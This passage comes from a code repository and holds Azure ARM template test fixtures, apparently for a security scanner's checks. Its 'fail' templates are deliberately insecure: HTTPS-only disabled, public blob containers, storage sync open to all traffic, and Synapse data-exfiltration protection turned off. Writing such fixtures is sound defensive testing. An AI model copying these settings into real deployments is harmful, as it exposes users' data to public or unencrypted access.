    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ],\n      \"metadata\": {\n        \"description\": \"Storage Account type\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[concat('store', uniquestring(resourceGroup().id))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-04-01\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": false\n      },\n      \"metadata\": {\n        \"checkov\": \"CKV_AZURE_3\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('storageAccountName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsUseReplication/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.13.1.58284\",\n      \"templateHash\": \"13120038605368246703\"\n    }\n  },\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The storage account location.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('store{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the storage account\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {}\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('storageAccountName')]\"\n    },\n    \"storageAccountId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountsUseReplication/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.13.1.58284\",\n      \"templateHash\": \"13120038605368246703\"\n    }\n  },\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The storage account location.\"\n      }\n    },\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('store{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"The name of the storage account\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_RAGRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {}\n    }\n  ],\n  \"outputs\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('storageAccountName')]\"\n    },\n    \"storageAccountId\": {\n      \"type\": \"string\",\n      \"value\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageBlobServiceContainerPrivateAccess/storageBlobServiceContainerPrivateAccess-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the Azure Storage account.\"\n      }\n    },\n    \"containerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"logs\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the blob container.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the location in which the Azure Storage resources should be deployed.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-06-01\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"accessTier\": \"Hot\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"blobServices/containers\",\n          \"apiVersion\": \"2019-06-01\",\n          \"name\": \"[concat('default/', parameters('containerName'))]\",\n          \"properties\": {\n            \"publicAccess\": \"Container\"\n          },\n          \"dependsOn\": [\n            \"[parameters('storageAccountName')]\"\n          ]\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageBlobServiceContainerPrivateAccess/storageBlobServiceContainerPrivateAccess-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the Azure Storage account.\"\n      }\n    },\n    \"containerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"logs\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the blob container.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the location in which the Azure Storage resources should be deployed.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-06-01\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"accessTier\": \"Hot\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"blobServices/containers\",\n          \"apiVersion\": \"2019-06-01\",\n          \"name\": \"[concat('default/', parameters('containerName'))]\",\n          \"properties\": {\n            \"publicAccess\": \"None\"\n          },\n          \"resources\": [\n            {\n              \"name\": \"default\",\n              \"type\": \"Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies\",\n              \"apiVersion\": \"2019-06-01\",\n              \"properties\": {\n                \"immutabilityPeriodSinceCreationInDays\": \"7\",\n                \"allowProtectedAppendWrites\": \"false\"\n              }\n            }\n          ],\n          \"dependsOn\": [\n            \"[parameters('storageAccountName')]\"\n          ]\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageBlobServiceContainerPrivateAccess/storageBlobServiceContainerPrivateAccess-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"storageAccountName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the Azure Storage account.\"\n      }\n    },\n    \"containerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"logs\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the blob container.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the location in which the Azure Storage resources should be deployed.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2019-06-01\",\n      \"name\": \"[parameters('storageAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"accessTier\": \"Hot\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"blobServices/containers\",\n          \"apiVersion\": \"2019-06-01\",\n          \"name\": \"[concat('default/', parameters('containerName'))]\",\n          \"dependsOn\": [\n            \"[parameters('storageAccountName')]\"\n          ]\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageSyncPublicAccessDisabled/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.StorageSync/storageSyncServices\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail1\",\n      \"properties\": {\n        \"storageSyncServiceStatus\": \"Registered\",\n        \"storageSyncServiceProperties\": {\n          \"trustState\": \"Enabled\",\n          \"storageSyncServiceUid\": \"65fdd65b-ea5d-4a00-bf7f-40c41ba39ae4\",\n          \"provisioningState\": \"Succeeded\"\n        },\n        \"location\": \"East US\",\n        \"tags\": {\n          \"foo\": \"bar\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageSyncPublicAccessDisabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.StorageSync/storageSyncServices\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"properties\": {\n        \"storageSyncServiceStatus\": \"Registered\",\n        \"storageSyncServiceProperties\": {\n          \"trustState\": \"Enabled\",\n          \"storageSyncServiceUid\": \"65fdd65b-ea5d-4a00-bf7f-40c41ba39ae4\",\n          \"provisioningState\": \"Succeeded\"\n        },\n        \"location\": \"East US\",\n        \"incomingTrafficPolicy\": \"AllowAllTraffic\",\n        \"tags\": {\n          \"foo\": \"bar\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageSyncPublicAccessDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"properties\": {\n        \"storageSyncServiceStatus\": \"Registered\",\n        \"storageSyncServiceProperties\": {\n          \"trustState\": \"Enabled\",\n          \"storageSyncServiceUid\": \"65fdd65b-ea5d-4a00-bf7f-40c41ba39ae4\",\n          \"provisioningState\": \"Succeeded\"\n        },\n        \"location\": \"East US\",\n        \"incomingTrafficPolicy\": \"AllowVirtualNetworksOnly\",\n        \"tags\": {\n          \"foo\": \"bar\"\n        }\n      },\n      \"type\": \"Microsoft.StorageSync/storageSyncServices\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceAdministratorLoginPasswordHidden/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"[parameters('workspaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"[parameters('storageAccountUrl')]\",\n          \"filesystem\": \"[parameters('filesystem')]\"\n        },\n        \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"sqlAdministratorLoginPassword\": {\n          \"value\": \"[parameters('sqlAdministratorLoginPassword')]\"\n        }\n      }\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the Synapse workspace\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location for the Synapse workspace\"\n      }\n    },\n    \"storageAccountUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"URL of the default Data Lake Storage account\"\n      }\n    },\n    \"filesystem\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Filesystem name in the Data Lake Storage account\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login name\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login password\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceAdministratorLoginPasswordHidden/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n      {\n        \"type\": \"Microsoft.Synapse/workspaces\",\n        \"apiVersion\": \"2021-06-01\",\n        \"name\": \"[parameters('workspaceName')]\",\n        \"location\": \"[parameters('location')]\",\n        \"properties\": {\n          \"defaultDataLakeStorage\": {\n            \"accountUrl\": \"[parameters('storageAccountUrl')]\",\n            \"filesystem\": \"[parameters('filesystem')]\"\n          },\n          \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\"\n        }\n      }\n    ],\n    \"parameters\": {\n      \"workspaceName\": {\n        \"type\": \"string\",\n        \"metadata\": {\n          \"description\": \"Name of the Synapse workspace\"\n        }\n      },\n      \"location\": {\n        \"type\": \"string\",\n        \"metadata\": {\n          \"description\": \"Location for the Synapse workspace\"\n        }\n      },\n      \"storageAccountUrl\": {\n        \"type\": \"string\",\n        \"metadata\": {\n          \"description\": \"URL of the default Data Lake Storage account\"\n        }\n      },\n      \"filesystem\": {\n        \"type\": \"string\",\n        \"metadata\": {\n          \"description\": \"Filesystem name in the Data Lake Storage account\"\n        }\n      },\n      \"sqlAdministratorLogin\": {\n        \"type\": \"string\",\n        \"metadata\": {\n          \"description\": \"SQL administrator login name\"\n        }\n      }\n    }\n  }"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceCMKEncryption/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"[parameters('workspaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"[parameters('storageAccountUrl')]\",\n          \"filesystem\": \"[parameters('fileSystem')]\"\n        },\n        \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"sqlAdministratorLoginPassword\": {\n          \"value\": \"[parameters('sqlAdministratorLoginPassword')]\"\n        },\n        \"managedVirtualNetwork\": \"[parameters('managedVirtualNetwork')]\"\n      }\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the Synapse workspace.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the Synapse workspace.\"\n      }\n    },\n    \"storageAccountUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"URL of the default Data Lake Storage account.\"\n      }\n    },\n    \"fileSystem\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"File system name of the default Data Lake Storage account.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login name.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login password.\"\n      }\n    },\n    \"managedVirtualNetwork\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"default\",\n      \"metadata\": {\n        \"description\": \"Managed Virtual Network name.\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceCMKEncryption/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"[parameters('workspaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"[parameters('storageAccountUrl')]\",\n          \"filesystem\": \"[parameters('fileSystem')]\"\n        },\n        \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"sqlAdministratorLoginPassword\": {\n          \"value\": \"[parameters('sqlAdministratorLoginPassword')]\"\n        },\n        \"managedVirtualNetwork\": \"[parameters('managedVirtualNetwork')]\",\n        \"encryption\": {\n          \"cmk\": {\n            \"key\": {\n              \"name\": \"[parameters('keyName')]\",\n              \"vaultBaseUrl\": \"[parameters('keyVaultUrl')]\"\n            },\n            \"identity\": {\n              \"userAssignedIdentity\": \"[parameters('userAssignedIdentityResourceId')]\"\n            }\n          }\n        }\n      },\n      \"identity\": {\n        \"type\": \"UserAssigned\",\n        \"userAssignedIdentities\": {\n          \"[parameters('userAssignedIdentityResourceId')]\": {}\n        }\n      }\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the Synapse workspace.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location of the Synapse workspace.\"\n      }\n    },\n    \"storageAccountUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"URL of the default Data Lake Storage account.\"\n      }\n    },\n    \"fileSystem\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"File system name of the default Data Lake Storage account.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login name.\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login password.\"\n      }\n    },\n    \"managedVirtualNetwork\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"default\",\n      \"metadata\": {\n        \"description\": \"Managed Virtual Network name.\"\n      }\n    },\n    \"keyName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the customer-managed key.\"\n      }\n    },\n    \"keyVaultUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The URL of the Key Vault containing the customer-managed key.\"\n      }\n    },\n    \"userAssignedIdentityResourceId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The resource ID of the user-assigned managed identity.\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceEnablesDataExfilProtection/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail1\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"dataExfiltrationProtectionEnabled\" : \"false\",\n        \"tags\": {\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceEnablesDataExfilProtection/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"tags\": {\n        }\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceEnablesDataExfilProtection/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"dataExfiltrationProtectionEnabled\": true,\n        \"tags\": {\n        }\n      }\n    }\n  ]\n}\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SynapseWorkspaceEnablesManagedVirtualNetworks/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"_artifactsLocation\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[deployment().properties.templatelink.uri]\"\n    },\n    \"_artifactsLocationSASToken\": {\n      \"type\": \"securestring\",\n      \"defaultValue\": \"\"\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for your deployment.\"\n      }\n    },\n    \"companyTla\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"This is a Three Letter Acronym for your company name. 'CON' for Contoso for example.\"\n      }\n    },\n    \"allowAllConnections\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"true\",\n        \"false\"\n      ],\n      \"defaultValue\": \"true\"\n    },\n    \"sparkDeployment\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"true\",\n      \"allowedValues\": [\n        \"true\",\n        \"false\"\n      ],\n      \"metadata\": {\n        \"description\": \"'True' deploys an Apache Spark pool as well as a SQL pool. 'False' does not deploy an Apache Spark pool.\"\n      }\n    },\n    \"sparkNodeSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Medium\",\n      \"allowedValues\": [\n        \"Small\",\n        \"Medium\",\n        \"Large\"\n      ],\n      \"metadata\": {\n        \"description\": \"This parameter will determine the node size if SparkDeployment is true\"\n      }\n    },\n    \"deploymentType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"poc\",\n      \"allowedValues\": [\n        \"devtest\",\n        \"poc\",\n        \"prod\",\n        \"shared\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specify deployment type: DevTest, POC, Prod, Shared. This will also be used in the naming convention.\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The username of the SQL Administrator\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"The password for the SQL Administrator\"\n      }\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"DW100c\",\n      \"allowedValues\": [\n        \"DW100c\",\n        \"DW200c\",\n        \"DW300c\",\n        \"DW400c\",\n        \"DW500c\",\n        \"DW1000c\",\n        \"DW1500c\",\n        \"DW2000c\",\n        \"DW2500c\",\n        \"DW3000c\"\n      ],\n      \"metadata\": {\n        \"description\": \"Select the SKU of the SQL pool.\"\n      }\n    },\n    \"metadataSync\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"metadata\": {\n        \"description\": \"Choose whether you want to synchronise metadata.\"\n      }\n    },\n    \"Frequency\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Weekdays\",\n      \"allowedValues\": [\n        \"Daily\",\n        \"Weekdays\"\n      ],\n      \"metadata\": {\n        \"description\": \"Choose whether to run schedule every day of the week, or only on weekdays\"\n      }\n    },\n    \"TIME_ZONE\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Eastern Standard Time\",\n      \"allowedValues\": [\n        \"Dateline Standard Time\",\n        \"Samoa Standard Time\",\n        \"Hawaiian Standard Time\",\n        \"Alaskan Standard Time\",\n        \"Pacific Standard Time\",\n        \"Mountain Standard Time\",\n        \"Mexico Standard Time 2\",\n        \"Central Standard Time\",\n        \"Canada Central Standard Time\",\n        \"Mexico Standard Time\",\n        \"Central America Standard Time\",\n        \"Eastern Standard Time\",\n        \"Atlantic Standard Time\",\n        \"Newfoundland and Labrador Standard Time\",\n        \"E. South America Standard Time\",\n        \"S.A. Eastern Standard Time\",\n        \"Greenland Standard Time\",\n        \"Mid-Atlantic Standard Time\",\n        \"Azores Standard Time\",\n        \"Cape Verde Standard Time\",\n        \"GMT Standard Time\",\n        \"Greenwich Standard Time\",\n        \"Central Europe Standard Time\",\n        \"Central European Standard Time\",\n        \"Romance Standard Time\",\n        \"W. Europe Standard Time\",\n        \"W. Central Africa Standard Time\",\n        \"E. Europe Standard Time\",\n        \"Egypt Standard Time\",\n        \"FLE Standard Time\",\n        \"GTB Standard Time\",\n        \"Israel Standard Time\",\n        \"South Africa Standard Time\",\n        \"Russian Standard Time\",\n        \"Arab Standard Time\",\n        \"E. Africa Standard Time\",\n        \"Arabic Standard Time\",\n        \"Iran Standard Time\",\n        \"Arabian Standard Time\",\n        \"Caucasus Standard Time\",\n        \"Transitional Islamic State of Afghanistan Standard Time\",\n        \"Ekaterinburg Standard Time\",\n        \"West Asia Standard Time\",\n        \"India Standard Time\",\n        \"Nepal Standard Time\",\n        \"Central Asia Standard Time\",\n        \"Sri Lanka Standard Time\",\n        \"Myanmar Standard Time\",\n        \"North Asia Standard Time\",\n        \"China Standard Time\",\n        \"Singapore Standard Time\",\n        \"Taipei Standard Time\",\n        \"North Asia East Standard Time\",\n        \"Korea Standard Time\",\n        \"Tokyo Standard Time\",\n        \"Yakutsk Standard Time\",\n        \"Tasmania Standard Time\",\n        \"Vladivostok Standard Time\",\n        \"West Pacific Standard Time\",\n        \"Central Pacific Standard Time\",\n        \"Fiji Islands Standard Time\",\n        \"New Zealand Standard Time\",\n        \"Tonga Standard Time\"\n      ],\n      \"metadata\": {\n        \"description\": \"Timezone for the schedule. Consult https://msdn.microsoft.com/en-us/library/ms912391(v=winembedded.11).aspx for more information\"\n      }\n    },\n    \"ResumeTime\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"09:00 PM ( 21:00 )\",\n      \"allowedValues\": [\n        \"12:00 AM (  0:00 )\",\n        \"01:00 AM (  1:00 )\",\n        \"02:00 AM (  2:00 )\",\n        \"03:00 AM (  3:00 )\",\n        \"04:00 AM (  4:00 )\",\n        \"05:00 AM (  5:00 )\",\n        \"06:00 AM (  6:00 )\",\n        \"07:00 AM (  7:00 )\",\n        \"08:00 AM (  8:00 )\",\n        \"09:00 AM (  9:00 )\",\n        \"10:00 AM ( 10:00 )\",\n        \"11:00 AM ( 11:00 )\",\n        \"12:00 PM ( 12:00 )\",\n        \"01:00 PM ( 13:00 )\",\n        \"02:00 PM ( 14:00 )\",\n        \"03:00 PM ( 15:00 )\",\n        \"04:00 PM ( 16:00 )\",\n        \"05:00 PM ( 17:00 )\",\n        \"06:00 PM ( 18:00 )\",\n        \"07:00 PM ( 19:00 )\",\n        \"08:00 PM ( 20:00 )\",\n        \"09:00 PM ( 21:00 )\",\n        \"10:00 PM ( 22:00 )\",\n        \"11:00 PM ( 23:00 )\"\n      ],\n      \"metadata\": {\n        \"description\": \"Time of Day when the data warehouse will be resumed\"\n      }\n    },\n    \"PauseTime\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"05:00 PM ( 17:00 )\",\n      \"allowedValues\": [\n        \"12:00 AM (  0:00 )\",\n        \"01:00 AM (  1:00 )\",\n        \"02:00 AM (  2:00 )\",\n        \"03:00 AM (  3:00 )\",\n        \"04:00 AM (  4:00 )\",\n        \"05:00 AM (  5:00 )\",\n        \"06:00 AM (  6:00 )\",\n        \"07:00 AM (  7:00 )\",\n        \"08:00 AM (  8:00 )\",\n        \"09:00 AM (  9:00 )\",\n        \"10:00 AM ( 10:00 )\",\n        \"11:00 AM ( 11:00 )\",\n        \"12:00 PM ( 12:00 )\",\n        